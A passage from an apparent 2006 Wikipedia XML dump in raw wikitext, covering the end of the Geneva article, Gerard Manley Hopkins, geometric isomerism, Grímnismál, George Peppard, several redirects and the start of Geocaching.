Regional trains operated by [[SBB-CFF-FFS]] connect the main station of [[Cornavin]] with the airport's train station, and several smaller train stations outside the city center. Trains are currently not used for transportation inside the city; however, work has started on the CEVA (Cornavin - Eaux-Vives - Annemasse) project, first planned in [[1884]], which will connect the city's main train station with the Canton's public hospital, the Eaux-Vives station and [[Annemasse]], in France. The link between the main station and the [[classification yard]] of La Praille already exists; from there, the line will go mostly underground to the Hospital and the Eaux-Vives, where it will link to the existing line to France. [http://www.ceva.ch/menu/CEVA_accueil]

=== Utilities ===

[[Water]], [[natural gas]] and [[electricity]] are provided to the municipalities of the Canton of Geneva by the state-owned [http://www.sig-ge.ch/ Services Industriels de Genève] (or SIG). Most of the drinkable water (80%) is extracted from the [[Lake Geneva|lake]]; the remaining 20% is provided by [[groundwater]] originally formed by infiltration from the [[Arve River]]. 30% of the Canton's needs in electricity are locally produced, mainly by three [[hydroelectricity|hydroelectric]] [[dam]]s on the [[Rhone River]] (Seujet, Verbois and Chancy-Pougny). In addition, 13% of the electricity produced in the Canton is made from the heat induced by the burning of waste at the [[Waste management#Incineration|waste incineration facility]] of [http://www.sig-ge.ch/corporate/entreprise_sig/patrimoine/cheneviers.lbl Les Cheneviers]. The remaining needs (70%) are covered by imports from other cantons in Switzerland or other European countries; SIG buys only electricity produced by [[renewable energy|renewable methods]], and in particular does not use electricity produced using [[nuclear reactor]]s or [[fossil fuels]].
Natural gas is available in the City of Geneva, as well as in about two-thirds of the municipalities of the canton, and is imported from western Europe by the Swiss company [http://www.gaznat.ch/ Gaznat]. SIG also provides telecommunication facilities to carriers, service providers and large enterprises. From 2003 to 2005 &quot;Voisin, voisine&quot; a [[FTTH|Fibre to the Home]] pilot project with a [[Triple_play_(telecommunications)|Triple play]] offering was launched to test the end-user market in the Charmilles district.

==Education==

Geneva is also home of one of the oldest universities of the world, the [[University of Geneva]], founded in [[1559]], and one of the most prestigious graduate schools of international relations, the [[Graduate Institute of International Studies]].

It is also home to the oldest international school in the world, the [[International School of Geneva]], founded in 1924 with the League of Nations.

==Culture==

===Landmarks and Sights===
[[Image:Geneva flowerclock.jpg|thumb|left|250px|The Flower Clock]]
Notable sights in Geneva include the ''Flower Clock'', the ''Art and History Museum'', the ''International Red Cross and Red Crescent Museum'' and the [[Palais des Nations]], the European headquarters of the United Nations.

The city's most noted landmark is a [[fountain]]: the [[Jet d'Eau]] (''water-jet''), situated in Lake Geneva. Its 140-metre-high water column is visible from many parts of the city.

===Media===

[[Image:Jet d'Eau - Geneva - Switzerland - September 2005 - 03.JPG|thumb|250px|right|[[Jet d'Eau]] in Geneva]]
The city's main newspaper is the [[Tribune de Genève]], a daily newspaper founded on 1 February 1879 by [[James T. Bates]], with a readership of about 187,000.
[[Le Courrier]], founded in [[1868]], was originally supported by the [[Roman Catholic Church]], but has been completely independent since [[1996]]. Mainly focused on Geneva, Le Courrier is trying to expand into other cantons in [[Romandy]]. Both [[Le Temps]] (headquartered in Geneva) and [[Le Matin]] are widely read in Geneva, but both journals actually cover the whole of [[Romandy]].

Geneva is covered by the different [[French language]] radio networks of the [[Swiss Broadcasting Corporation]], in particular the [[Radio Suisse Romande]]. While these networks cover the whole of [[Romandy]], special programs related to Geneva are sometimes broadcast on some of the local frequencies in the case of special events such as elections. Other local station broadcast from the city, including [http://www.radiolac.ch/ RadioLac] ([[FM]] 91.8 MHz), [http://radiocite.ch Radio Cité] (Christian Radio, FM 92.2 MHz), [http://www.onefm.ch OneFM] (FM 107.0 MHz, also broadcast in [[Vaud]]), and [[World Radio Geneva]] (FM 88.4 MHz), Switzerland's only English-language radio station.

The main television channel covering Geneva is the [[Télévision Suisse Romande]]; while its headquarters are located in Geneva, the programs cover the whole of [[Romandy]] and are not specific to Geneva. [http://www.lemanbleu.ch Léman Bleu] is a local TV channel, founded in [[1996]] and distributed by cable. &lt;!--Probably not relevant to an article on the medias in Geneva: Due to the proximity to [[France]], [[List of television stations in France|French television channels]] have always been available in Geneva.--&gt;

===Sport===

The main sport team in Geneva is [[Servette FC]], a [[football (soccer)]] club founded in 1890. Servette was the only club to have remained in the top league in Switzerland since its creation in the 1930s; however, in [[2005]], management problems caused the bankruptcy of the club's parent company, causing the club to be demoted two divisions.

Geneva also has an [[ice hockey]] club, [[Genève-Servette HC]], which operates in the Swiss [[Nationalliga A]].

==Trivia==

Since [[1818]], a particular [[chestnut|chestnut tree]] is used as the official &quot;herald of the [[Spring]]&quot; in Geneva. The ''sautier'' (secretary of the Parliament of the Canton of Geneva) observes the tree and notes the day of arrival of the first bud. While this event has no practical impact, the sautier issues a formal press release and the local newspaper will usually mention the news.
In 2005, the first bud appeared on 19 March, according to the [http://www.geneve.ch/grandconseil/data/rapportgestion_divers/marronnier2005.pdf press release] (in French).

==References==

* Jean de Senarclens, &quot;''Geneva: Historic Guide''&quot;, Editions du Tricorne,  1995. ISBN 2829301447

== External links ==
{{commons|Geneva}}
*[http://www.ville-ge.ch/index_e.htm Official website of the City of Geneva]
*[http://www.geneva-tourism.ch Geneva Tourism]
*''[[Tribune de Genève]]'': [http://www.tdg.ch/tghome/english_corner/last_news.html Daily news from the city] (English)
*[http://www.geneva.ch/GenevaHistory.htm Brief history of Geneva]
*[http://www.geneva.info/ Geneva information]
*[http://www.tpg.ch Geneva public transport]
*{{wikitravel}}
*[http://www.egeneve.ch/ Tales of Geneva life (from 1905 till 2005)]
*[http://www.geneve.ch/grandconseil/service/accueilmarron.asp The Official Chestnut tree], on the website of the Canton of Geneva (in French)
*[http://www.gen-gen.ch/ Geneva Genealogical Society], featuring a genealogical tree of more than 170'000 people (all linked together), a forum, and much more

{{Municipalities of the Canton of Geneva}}
[[Category:Geneva| ]]
[[Category:Cantonal capitals of Switzerland]]

[[af:Genève]]
[[ar:جنيف]]
[[bg:Женева]]
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[[cs:Ženeva]]
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[[es:Ginebra (ciudad)]]
[[eo:Ĝenevo]]
[[eu:Ginebra (hiria)]]
[[fr:Genève]]
[[ko:제네바]]
[[hi:जेनेवा]]
[[io:Genève (urbo)]]
[[id:Jenewa]]
[[it:Ginevra (città)]]
[[he:ז'נבה]]
[[la:Genava]]
[[hu:Genf]]
[[nl:Genève]]
[[ja:ジュネーヴ]]
[[no:Genève]]
[[nn:Genève]]
[[pl:Genewa]]
[[pt:Genebra]]
[[ro:Geneva]]
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[[ru:Женева]]
[[scn:Ginevra (cità)]]
[[simple:Geneva]]
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[[fi:Geneve]]
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[[zh:日内瓦]]</text>
    </revision>
  </page>
  <page>
    <title>Gerard Manley Hopkins</title>
    <id>12523</id>
    <revision>
      <id>41585444</id>
      <timestamp>2006-02-28T08:36:54Z</timestamp>
      <contributor>
        <username>Cathryn</username>
        <id>556939</id>
      </contributor>
      <minor />
      <comment>/* Poetry */</comment>
      <text xml:space="preserve">[[Image:GerardManleyHopkins.jpg|right|300px]]
'''Gerard Manley Hopkins''' ([[July 28]], [[1844]] - [[June 8]], [[1889]]) was a [[United Kingdom|British]] [[Victorian era|Victorian]] [[poet]] and [[Society of Jesus|Jesuit]] priest.

==Life==

Hopkins was born in [[Stratford, Essex]]. He was the eldest of nine children, the son of Catherine and Manley Hopkins, an insurance agent and consul-general for Hawaii based in London. He was educated at [[Highgate grammar school]] and then [[Balliol College, Oxford]], where he studied classics. It was at Oxford that he forged the friendship with [[Robert Bridges]] which would be of importance in his development as a poet, and posthumous acclaim. He began his time at Oxford as a keen socialiser and prolific poet but he seems to have alarmed himself with this change in his behaviour and became more studious and recorded his sins in his diary.  He became a follower of [[Edward Pusey]] and a member of the [[Oxford Movement]] and in [[1866]], following the example of [[John Henry Newman]], he converted from [[Anglicanism]] to [[Roman Catholic]]ism.  After his graduation in 1867 Newman found him a teaching post but the following year he decided to enter the priesthood, pausing only to visit [[Switzerland]].  

Influenced by his father who also wrote poetry, Hopkins wrote poetry while young, winning a prize for his poetry while at grammar school. His decision to become a Jesuit led him to burn much of his early poetry as he felt it incompatible with his vocation. Writing would remain something of a concern for him as he felt that his interest in poetry prevented him from wholly devoting himself to his religion. He continued to write a detailed journal until 1874. Unable to suppress his desire to describe the natural world, he also continued to write occasional poems. He would later write sermons and other religious pieces. In 1875 he was moved, once more, to write a lengthy poem, ''The Wreck of the Deutschland''. This work was inspired by the [[Deutschland (1866)|Deutschland]], a naval disaster in which 157 people died including five [[Franciscan]] nuns who had been leaving Germany due to harsh anti-[[Catholic]] laws.  The work displays both the religious concerns and some of the unusual [[meter (poetry)|meter]] and rhythms of his subsequent poetry not present in his few remaining early works. It not only depicts the dramatic events and heroic deeds but also tells of the poet's reconciling the terrible events with God's higher purpose. The poem was accepted but not printed by a Jesuit publication and this rejection fuelled his ambivalence about his poetry.

The austere and restrictive life of the various Jesuit institutions in which he studied left him at times gloomy. The brilliant student who had left Oxford with a first class honours degree failed his final theology exam. This failure meant that, although ordained in [[1877]] Hopkins, would not likely progress in the order. Whilst not always happy in his studies there was at least stability, the uncertain and varied work after ordination was even less to his liking. He served in various parishes in England and Scotland and taught at [[Mount St Mary's College]], Sheffield, and [[Stonyhurst College]], Lancashire. In 1884 he became professor of Greek literature at [[University College Dublin]].  His Englishness and his disagreement with the Irish politics of the time, as well as his own small stature (5'2&quot;), unprepossessing nature and own personal oddities meant that he was not a particularly effective teacher. This as well as his isolation in Ireland deepened his gloom and his poems of the time, such as ''I Wake and Feel the Fell of Dark'', reflected this; called by Hopkins &quot;terrible sonnets&quot;.

After suffering ill health for several years and bouts of diarrhoea, Hopkins died of [[typhoid fever]] in 1889 and was buried in [[Glasnevin Cemetery]], Dublin.

== Poetry==

Much of Hopkins' historical importance has to do with the changes he brought to the form of poetry, which ran contrary to conventional ideas of [[meter (poetry)|meter]]. Prior to Hopkins, most [[Middle English]] and [[Modern English]] poetry was based on a rhythmic structure inherited from the Norman side of English's literary heritage. This structure is based on repeating groups of two or three syllables, with the stressed syllable falling in the same place on each repetition. Hopkins called this structure [[running rhythm]], and though he wrote some of his early verse in running rhythm he became fascinated with the older rhythmic structure of the Anglo-Saxon tradition, of which ''[[Beowulf]]'' is the most famous example. Hopkins called this rhythmic structure [[sprung rhythm]]. Sprung rhythm is structured around feet with a variable number of syllables, generally between one and four syllables per foot, with the stress always falling on the first syllable in a foot. In reality, it more closely resembles the &quot;rolling stresses&quot; of [[Robinson Jeffers]], another poet who disavowed conventional meter. Hopkins saw sprung rhythm as a way to escape the constraints of running rhythm, which he said inevitably, pushed poetry written in it to become &quot;same and tame.&quot; In this way, Hopkins can be seen as anticipating much of [[free verse]]. His work has no great affinity with either of the contemporary [[Pre-Raphaelite]] and [[neo-romanticism]] schools, although he does share their descriptive love of nature and he is often seen as a precursor to [[modernist poetry]] or as a bridge between the two poetic eras.

Another influence on him was the [[Welsh language]] he learnt while studying theology at [[St. Beuno's College]] in Wales. The poetic forms of [[Welsh literature]] and particularly [[cynghanedd]] with its emphasis on repeating sounds accorded with his own style and became a prominent feature of his work.  This reliance on similar sounding words with close or differing senses mean that his poems are best understood if read aloud. An important element in his work is Hopkins' own concept of &quot;[[inscape]]&quot; which was derived, in part, from the medieval theologian [[Duns Scotus]]. The exact detail of &quot;inscape&quot; is uncertain and probably known to Hopkins alone but it has to do with the individual essence and uniqueness of every physical thing. This is communicated from an object by its &quot;[[instress]]&quot; and ensures the transmission of the item's importance in the wider creation. His poems would then try to present this &quot;inscape&quot; so that a poem like &quot;The Windhover&quot; aims to depict not the bird in general but instead one instance and its relation to the breeze. This is just one interpretation to probably Hopkins' most studied poem and one which he called his best.[http://www.bartleby.com/122/1000.html#12]

During his lifetime, Hopkins published few poems. It was only through the efforts of Robert Bridges that his works were seen. Despite Hopkins burning all his poems on entering the priesthood, he had already sent some to Bridges who, with a few other friends, was the only person to see many of them for some years. After Hopkins' death they were distributed to a wider audience, mostly fellow poets, and in [[1918]] Bridges, by then [[poet laureate]], published a collected edition.

==Bibliography of Poems==

* [http://www.bartleby.com/122/4.html The Wreck of the Deutschland]
* [http://www.bartleby.com/122/7.html God's Grandeur]
* [http://www.bartleby.com/122/34.html As Kingfishers Catch Fire]
* [http://www.bartleby.com/122/13.html Pied Beauty] (a [[curtal sonnet]])
* [http://www.bartleby.com/122/40.html Carrion Comfort]
* [http://www.bartleby.com/122/12.html The Windhover: To Christ our Lord]
* [http://www.bartleby.com/122/31.html Spring and Fall, To a Young Child]
* [http://www.poemhunter.com/p/m/poem.asp?poet=3161&amp;poem=28028 The Habit of Perfection]
* [http://www.bartleby.com/122/11.html The Sea and the Skylark]
* [http://www.bartleby.com/122/33.html Inversnaid]

'''Audio'''

*Catholic singer-songwriter Sean O'Leary (b.1953) has produced a collection of contemporary settings of Hopkins' poems titled ''The Alchemist: Gerard Manley Hopkins Poems In Musical Adaptations'' [48 page booklet with accompanying double album - 2CD - 120 minutes], ISBN 0-9550649-0-2, 2005. The 22 poems include: The Wreck Of The Deutschland, God's Grandeur, Spring, The Windhover, Felix Randal, and the 'Terrible Sonnets'.

*Richard Austin reads Hopkins' poetry in BACK TO BEAUTY'S GIVER [Audio book- CD], ISBN 0-9548188-0-6, 2003. 27 poems, including: The Wreck Of The Deutschland, God's Grandeur, The Windhover, Pied Beauty and Binsley Poplars, and the 'Terrible Sonnets'.

==External links==
{{wikiquote}}
* [http://www.gerardmanleyhopkins.org/ Gerard Manley Hopkins Society]
* [http://librivox.org/ LibriVox] - Free Audio Recording of [http://librivox.org/short-poetry-collection-001/ As Kingfishers Catch Fire]. 
* [http://www.gerardmanleyhopkins.net/ Gerard Manley Hopkins Poems In Musical Adaptations]
* [http://hopkinsquarterly.com/ The Hopkins Quarterly]
* [http://www.bartleby.com/122/ Online texts of Hopkins Poems: First Edition (1918)]
* [http://www.dundee.ac.uk/english/wics/gmh/framconc.htm Web Concordance of Hopkins Poems]
* [http://www.richard.austin.sh/ Readings of Hopkins' Poetry]
* [http://www.victorianweb.org/authors/hopkins/gmhov.html The Victorian Web - Gerard Manley Hopkins - An Overview]
* [http://www.gerardmanleyhopkins.net/demo/audio/06_56.mp3 That Nature Is A Heraclitean Fire - Excerpt - Musical adaptation by Sean O'Leary (MP3)]
* [http://www.gerardmanleyhopkins.net/demo/audio/05_56.mp3 The Wreck Of The Deutschland - Verse 1 - Musical adaptation by Sean O'Leary (MP3)]
*[http://www.gerardmanleyhopkins.net/demo/ 8 Song Samples from Musical Adaptations of Hopkins' Poetry]

[[Category:1844 births|Hopkins, Gerard Manley]]
[[Category:1889 deaths|Hopkins, Gerard Manley]]
[[Category:English poets|Hopkins, Gerard Manley]]
[[Category:Jesuits|Hopkins, Gerard Manley]]
[[Category:Anglo-Welsh poets|Hopkins, Gerard Manley]]

[[cy:Gerard Manley Hopkins]]
[[de:Gerard Manley Hopkins]]
[[sv:Gerard Manley Hopkins]]
[[fr:Gerard Manley Hopkins]]</text>
    </revision>
  </page>
  <page>
    <title>Grading a climb</title>
    <id>12524</id>
    <revision>
      <id>15910206</id>
      <timestamp>2002-09-25T14:05:03Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Grade (climbing)]]</text>
    </revision>
  </page>
  <page>
    <title>Grading a boulder</title>
    <id>12525</id>
    <revision>
      <id>15910207</id>
      <timestamp>2002-09-25T14:05:59Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Grade (bouldering)]]</text>
    </revision>
  </page>
  <page>
    <title>Gravitational wave</title>
    <id>12526</id>
    <revision>
      <id>15910208</id>
      <timestamp>2004-06-18T09:01:06Z</timestamp>
      <contributor>
        <username>Reddi</username>
        <id>13833</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Gravitational radiation]]</text>
    </revision>
  </page>
  <page>
    <title>Gamma-ray Astronomy</title>
    <id>12527</id>
    <revision>
      <id>15910209</id>
      <timestamp>2002-06-06T21:18:07Z</timestamp>
      <contributor>
        <ip>12.246.119.53</ip>
      </contributor>
      <comment>#REDIRECT [[Gamma-ray astronomy]]</comment>
      <text xml:space="preserve">#REDIRECT [[Gamma-ray astronomy]]</text>
    </revision>
  </page>
  <page>
    <title>Geometric isomerism</title>
    <id>12528</id>
    <revision>
      <id>40383324</id>
      <timestamp>2006-02-20T04:39:34Z</timestamp>
      <contributor>
        <username>Deltabeignet</username>
        <id>195366</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/144.92.114.48|144.92.114.48]] ([[User talk:144.92.114.48|talk]]) to last version by Peak</comment>
      <text xml:space="preserve">[[Image:Cis-2-butene.PNG|right|frame|Cis-2-butene]][[Image:Trans-2-butene.PNG|right|frame|Trans-2-butene]]

In [[chemistry]], '''geometric isomerism''' or '''cis-trans isomerism''' is a form of [[stereoisomerism]] and describes the orientation of [[functional group|functional groups]] at the ends of a [[chemical bond|bond]] around which no rotation is possible. Such bonds are typically [[double bond]]s, but they can also be part of a ring structure which prevents rotation. 

According to [[IUPAC]] the term &quot;geometric isomerism&quot; is an obsolete synonym of &quot;cis-trans isomerism&quot; and its use is strongly discouraged. Sometimes the term &quot;geometric isomerism&quot; has been used as a synonym of stereoisomerism, i.e. [[optical isomerism|optical isomers]] being considered to be geometric isomers. This, however, is not consistent with current standard chemical nomenclature. The exact term for stereoisomers that are not [[optical isomerism|optical isomers]] is [[diastereomer]]s.

There are two forms of a geometric isomer, the ''[[cis]]'' and ''[[trans]]'' versions. The form in which the [[substituent|substituent groups]] are on the same side of the bond that doesn't allow rotation is called ''cis''; the form in which the substituents are on opposite sides of the bond is called ''trans''. An example of a small hydrocarbon displaying cis-trans isomerism is [[2-butene]]. 

'''Cis isomers''' and '''trans isomers''' of a substance have different physical properties. ''Trans'' isomers generally have higher [[boiling point]]s and lower [[density|densities]]. This is because the ''trans'' isomers molecules can line up and fit together better than the ''cis'' form. Two isomers with very different properties are [[maleic acid]] and [[fumaric acid]]. The names are two [[trivial name]]s for 2-butenedioic acid and repectively the cis and trans isomer.

[[Alicyclic compound]]s can also display cis-trans isomerism. As an example of a geometric isomer due to a ring structure, consider 1,2-dichlorocyclohexane:
{|
|[[image:trnC6H10Cl2.png]] || [[image:cisC6H10Cl2.png]]
|- align=&quot;center&quot;
| trans-1,2-dichlorocyclohexane || cis-1,2-dichlorocyclohexane
|}

==E/Z notation==
The trans/cis system for naming isomers breaks down when there are more than two different substituents on a double bond. The E/Z notation can then be used. '''Z''' (from the German ''zusammen'') means ''together'' and corresponds to the term ''cis''; '''E''' (from the German ''entgegen'') means ''opposite'' and corresponds to the term ''trans''.

Whether a molecular configuration is designated E or Z is determined by the [[Cahn Ingold Prelog priority rules]]. For each of the two atoms in the double bond, individually determine which of the two substituents is of a higher priority. If both of the substituents of higher priority are on the same side, the arrangement is ''Z''; if they are on opposite sides the arrangement is ''E''.

An example of a compound named in this manner is (Z)-1-bromo-1,2-dichloroethene.

==External links==
*[http://www.iupac.org/goldbook/S05983.pdf The IUPAC definition of &quot;stereoisomerism&quot;]
*[http://www.iupac.org/goldbook/G02620.pdf The IUPAC definition of &quot;geometric isomerism&quot;]
*[http://www.iupac.org/goldbook/C01093.pdf The IUPAC definition of &quot;cis-trans isomers&quot;]

[[Category:Stereochemistry]]

[[ar:تزامر هندسي]]
[[de:Cis-trans-Isomerie]]
[[ko:기하 이성질체]]
[[nl:Cis-trans-isomerie]]</text>
    </revision>
  </page>
  <page>
    <title>Grímnismál</title>
    <id>12529</id>
    <revision>
      <id>41007214</id>
      <timestamp>2006-02-24T12:56:35Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <minor />
      <comment>robot  Adding: nl, sv</comment>
      <text xml:space="preserve">'''''Grímnismál''''' (''Sayings of Grímnir'') is one of the [[Norse mythology|mythological]] poems of the [[Poetic Edda]]. It is preserved in the [[Codex Regius]] manuscript and the [[AM 748 I 4to]] fragment. It is spoken through the voice of ''Grímnir'', one of the many guises of the god [[Odin]], who is (through an error) tortured by King Geirröth. This was to prove a fatal mistake since Odin caused him to fall upon his own sword.

The work starts out with a lengthy prose section describing the circumstances leading up to Grímnir's [[monologue]], which comprises 54 stanzas of poetic verse. The last bit of the poem is also prose, a brief description of Geirröth's demise, his son's ascension, and Odin's disappearance. It should be noted that the prose sections were most likely not part of the original oral versions of Grímnismál. [[Linguistics|Linguistic]] evidence suggests that the prose sections were added in the [[12th century|12th]] or [[13th century]], several hundred years after the poem was first written down.

== Synopsis ==
The narrative commences at a point when [[Odin]] and his wife, [[Frigg]], were sitting in [[Hliðskjálf]], looking out on the worlds. They turned their eyes towards King Geirröth, who was reigning in the stead of his late father, King Hrauthung. Geirröth and his older brother Agnarr had been raised by Odin and Frigg, respectively. The god and goddess disguised themselves as a peasant and his wife, and taught the children wisdom. Geirröth returned to his father's kingdom where he became king upon his father's death, while Agnarr dwelt in company with a giantess in a cave.

In Hliðskjálf, Odin remarked to Frigg that his foster-child Geirröth seemed to be prospering more so than her Agnarr. Frigg retorted that Geirröth was so parsimonious and inhospitable that he would torture his guests if he thought there were too many of them. Odin disputed this, and the couple entered into a wager in this respect. Frigg then sent her maid [[Fulla]] to Geirröth, advising him that a magician would soon enter his court to bewitch him, and saying that he could be recognised by the fact that no dog was fierce enough to leap up at him. 

Geirröth heeded Fulla's false warning. He ordered his men to capture the man the dogs wouldn't attack, which they did. Odin-as-Grímnir, dressed in a dark blue cloak, allowed himself to be captured. He stated that his name was Grímnir, but he would say nothing further of himself.

Geirröth then had him tortured to force him to speak, putting him between two fires for eight nights. After this time, Geirröth's son, Agnarr, named after his brother, came to Grímnir and gave him a full horn from which to drink, saying that his father, the king, was not right to torture him.

Grímnir then spoke, saying that he had suffered eight days and nights, without succour from any save, Agnarr, Geirröth's son, whom he prophesied would be Lord of the Goths. He then revealed himself for who he was, as the Highest One, promising him reward for the drink which he brought him.

In the body of the poem, Odin describes at great length the [[cosmogony]] of the worlds, the dwelling places of its inhabitants, and talks about himself and his many guises. 

Eventually, he turns to Geirröth and promises him misfortune, revealing his true identity. Geirröth then realized the magnitude of his mistake. Having learned that he is undone, he rose quickly to pull Odin from the fire, but the sword which he had lain upon his knee slipped, fell hilt down, the king stumbled and impaled himself upon it. Odin then vanished, and Agnarr, his son, ruled in his stead.

Grimnir is also one of the [[Ancestor Gods]] in [[Warhammer Fantasy]]. He was a great warrior with two fabled axes, one of which is currently owned by [[Thorgrim Grudgebearer]] and the other by the famous Trollslayer [[Gotrek Grunnison]]. He helped the [[High Elves]] defeat [[Chaos]] at the northern Chaos Gates. It is assumed he died there.

== External links ==
* [http://www.sacred-texts.com/neu/poe/poe06.htm Sacred Texts: Grimnismol] (Bellows' English translation and analysis)
* [http://www.northvegr.org/lore/poeticon/003.php Grímnismál] ([[Old West Norse]]/[[Old Icelandic]])
* [http://www.hi.is/~eybjorn/ugm/grm21.html Jörmungrund: Eysteinn Björnsson (2000). &quot;When is a fish a bridge? An investigation of Grímnismál 21.&quot;]

[[Category:Sources of Norse mythology]]
[[Category:Old Norse poems]]

[[de:Grímnismál]]
[[nl:Grimnismál]]
[[sv:Sången om Grimner]]</text>
    </revision>
  </page>
  <page>
    <title>Gravitational interaction</title>
    <id>12530</id>
    <revision>
      <id>15910212</id>
      <timestamp>2002-07-07T13:30:35Z</timestamp>
      <contributor>
        <username>Roadrunner</username>
        <id>1411</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[gravity]]</text>
    </revision>
  </page>
  <page>
    <title>George Peppard</title>
    <id>12531</id>
    <revision>
      <id>40363915</id>
      <timestamp>2006-02-20T01:54:23Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''George Peppard''' ([[October 1]], [[1928]] - [[May 8]], [[1994]]) was an [[United States|American]] [[film]] and [[television]] [[actor]].  His most notable role occurred early in his career when he starred alongside [[Audrey Hepburn]] in ''[[Breakfast at Tiffany's]]'' ([[1961]]), although he is probably more familiar among younger viewers for his role as Col. John &quot;Hannibal&quot; Smith in the [[cult television |cult]] [[1980s]] television show ''[[The A-Team]]'', where he is the [[cigar]]-smoking leader of a renegade [[commando]] squadron. 

==Biography==
Peppard was born in [[Detroit, Michigan|Detroit]], [[Michigan]], as the son of an [[opera]] singer and a building contractor.  He graduated from Dearborn High School in [[Dearborn, Michigan]]. He attended [[Purdue University]] (where he was studying [[Civil Engineering]]) and [[Carnegie Mellon University]].

George Peppard also attended [[The Actor's Studio]], where one of his classmates was [[Rip Torn]]. 
Peppard also served honorably in the [[United States Marine Corps]].

Before ''the A-Team'', Peppard had the leading role in the TV series ''[[Banacek]]'' ([[1972]] - [[1974]]), (part of the ''[[NBC Mystery Movie]]'' series of the [[1970s]]), and played in ''[[Doctors' Hospital]]'', in [[1975]], and in several other television films, which became in the later part of his career his major dedication.

He was married five times, and the father of three children:
* 1) [[Helen Davies]] ([[1954]]-[[1964]]) (two children)
* 2) [[Elizabeth Ashley]] ([[1966]]-[[1972]]), his co-star in ''[[The Carpetbaggers]]'' (One son Christian)
* 3) [[Sherrry Boucher]] ([[1975]]-[[1979]])
* 4) [[Alexis Adams]] ([[1984]]-[[1986]])
* 5) [[Laura Taylor]] ([[1992]]-[[1994]])

His last wife, Laura Taylor, was a banker from West Palm Beach, Florida.  They were married in September, 1992 in Mendocino, California.

He was a recovering [[alcoholic]], who spent his later years trying to help others in the same situation.

After being diagnosed with [[lung cancer]] in [[1992]], he had part of a lung removed. He died of [[pneumonia]] on May 8, 1994, at the age of 65 in [[Los Angeles]], due to complications in the treatment of the [[cancer]]. He is buried in Northview Cemetery in [[Dearborn, Michigan]].

==Filmography==
*''[[The Tigress ]]'' (1992)
*''[[Ultra Warrior ]]'' (1990) 
*''[[The A-Team]]'' ([[1983]]-[[1987]])
*''[[Hit Man (film)|Hit Man]]'' (1982) 
*''[[Race for the Yankee Zephyr ]]'' (1981)
*''[[Your Ticket Is No Longer Valid ]]'' (1981) 
*''[[Battle Beyond the Stars ]]'' (1980)
*''[[From Hell to Victory ]]'' (1979) 
*''[[Five Days from Home ]]'' (1979) 
*''[[Damnation Alley ]]'' (1977)
*''[[Doctors' Hospital]]'' ([[1975]]-76) 
*''[[Newman's Law ]]'' (1974) 
*''[[The Groundstar Conspiracy ]]'' (1972)
*''[[One More Train to Rob ]]'' (1971)
*''[[Cannon for Cordoba ]]'' (1970) 
*''[[The Executioner (1970 film)|The Executioner]]'' (1970)
*''[[Pendulum (movie)|Pendulum]]'' (1969)
*''[[House of Cards (1968 movie)|House of Cards ]]'' (1968)
*''[[What's So Bad About Feeling Good? ]]'' (1968)
*''[[P.J. ]]'' (1968)
*''[[Rough Night in Jericho ]]'' (1967)
*''[[Tobruk (1967 movie)|Tobruk]]'' (1967) 
*''[[The Blue Max ]]'' (1966) 
*''[[The Third Day ]]'' (1965) 
*''[[Operation Crossbow ]]'' (1965) 
*''[[The Carpetbaggers ]]'' (1964) 
*''[[The Victors ]]'' (1963) 
*''[[How the West Was Won (movie)|How the West Was Won ]]'' (1962)
*''[[Breakfast at Tiffany's ]]'' (1961)
*''[[The Subterraneans ]]'' (1960) 
*''[[Home from the Hill ]]'' (1960)
*''[[Pork Chop Hill ]]'' (1959)
*''[[The Strange One ]]'' (1957)

==External links==
*{{imdb name|id=0000577|name=George Peppard}}

[[Category:1928 births|Peppard, George]]
[[Category:1994 deaths|Peppard, George]]
[[Category:American actors|Peppard, George]]
[[Category:Carnegie Mellon alumni|Peppard, George]]
[[Category:Film actors|Peppard, George]]
[[Category:People from Michigan|Peppard, George]]
[[Category:Television actors|Peppard, George]]
[[Category:The A-Team actors|Peppard, George]]
[[Category:Deaths by lung cancer|Peppard, George]]
[[Category:Entertainers who died in their 60s|Peppard, George]]

[[de:George Peppard]]
[[es:George Peppard]]
[[he:ג'ורג' פפארד]]
[[nl:George Peppard]]
[[pl:George Peppard]]
[[sv:George Peppard]]</text>
    </revision>
  </page>
  <page>
    <title>Geocaching</title>
    <id>12533</id>
    <revision>
      <id>41678502</id>
      <timestamp>2006-03-01T00:32:27Z</timestamp>
      <contributor>
        <username>Pfalstad</username>
        <id>189114</id>
      </contributor>
      <comment>-esoteric, it's not private or intended for a small group</comment>
      <text xml:space="preserve">[[Image:Geocaching.jpg|thumb|A Geocache in Germany]]
'''Geocaching''' is an outdoor [[activity]] that most often involves the use of a [[Global Positioning System]] (&quot;GPS&quot;) receiver or traditional navigational techniques to find a &quot;geocache&quot; (or &quot;cache&quot;) placed anywhere in the world. A typical cache is a small, waterproof container containing a logbook and &quot;treasure&quot;, usually trinkets of little value. Participants are called geocachers.

Geocaching is similar to a much older activity called [[letterboxing]]. The major difference is its use of the [[Global Positioning System|GPS]] and the [[Internet]]. 

== History ==

Geocaching was made possible by the &quot;turning off&quot; of the [[selective availability]] of the Global Positioning System on [[May 1]], [[2000]]. The first documented placement of a cache with GPS assistance took place on [[May 3]], [[2000]], by [[Ulmer, Dave|Dave Ulmer]] of [[Beaver Creek, Oregon]]. The location was posted on the [[Usenet]] [[newsgroup]] news://sci.geo.satellite-nav. By [[May 6]], [[2000]], it had been found twice and logged once (by [[Teague, Mike|Mike Teague]] of [[Vancouver, Washington]]).

Well over 200,000 geocaches are currently placed in 220 countries around the world, registered on various Web sites devoted to geocaching.

=== Origin of the name ===

